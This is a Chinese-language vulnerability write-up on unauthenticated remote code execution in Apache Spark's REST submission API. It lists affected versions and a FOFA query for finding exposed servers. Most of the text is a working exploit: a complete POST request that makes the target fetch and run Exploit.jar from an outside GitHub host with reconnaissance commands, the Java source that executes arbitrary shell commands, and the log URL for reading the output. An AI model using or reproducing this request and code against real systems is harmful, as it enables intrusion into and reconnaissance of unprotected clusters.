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104 lines
2.6 KiB
Markdown
104 lines
2.6 KiB
Markdown
# Apache Spark create 未授权访问漏洞
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## 漏洞描述
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Apache Spark是一款集群计算系统，其支持用户向管理节点提交应用，并分发给集群执行。如果管理节点未启动ACL（访问控制），我们将可以在集群中执行任意代码。
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## 漏洞影响
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```
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Apache Spark 3.1.2, 3.2.1, 3.3.0
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```
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## FOFA
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```
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app="APACHE-Spark-Jobs"
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```
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## 漏洞复现
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主页面
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发送请求包
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```
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POST /v1/submissions/create HTTP/1.1
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Host: your-ip:6066
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Content-Type: application/json
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Connection: close
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Content-Length: 680
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{
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"action": "CreateSubmissionRequest",
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"clientSparkVersion": "2.3.1",
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"appArgs": [
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"whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"
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],
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"appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
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"environmentVariables": {
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"SPARK_ENV_LOADED": "1"
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},
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"mainClass": "Exploit",
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"sparkProperties": {
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"spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
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"spark.driver.supervise": "false",
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"spark.app.name": "Exploit",
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"spark.eventLog.enabled": "true",
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"spark.submit.deployMode": "cluster",
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"spark.master": "spark://your-ip:6066"
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}
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}
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# https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar
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# Github代码为编译后的代码
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import java.io.BufferedReader;
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import java.io.InputStreamReader;
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public class Exploit {
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public static void main(String[] args) throws Exception {
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String[] cmds = args[0].split(",");
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for (String cmd : cmds) {
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System.out.println(cmd);
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System.out.println(executeCommand(cmd.trim()));
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System.out.println("==============================================");
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}
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}
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// https://www.mkyong.com/java/how-to-execute-shell-command-from-java/
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private static String executeCommand(String command) {
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StringBuilder output = new StringBuilder();
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try {
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Process p = Runtime.getRuntime().exec(command);
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p.waitFor();
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BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
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String line;
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while ((line = reader.readLine()) != null) {
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output.append(line).append("\n");
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}
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} catch (Exception e) {
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e.printStackTrace();
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}
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return output.toString();
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}
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}
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```
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再访问获得的 submissionId Url查看结果
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```
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/logPage/?driverId={submissionId}&logType=stdout
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```
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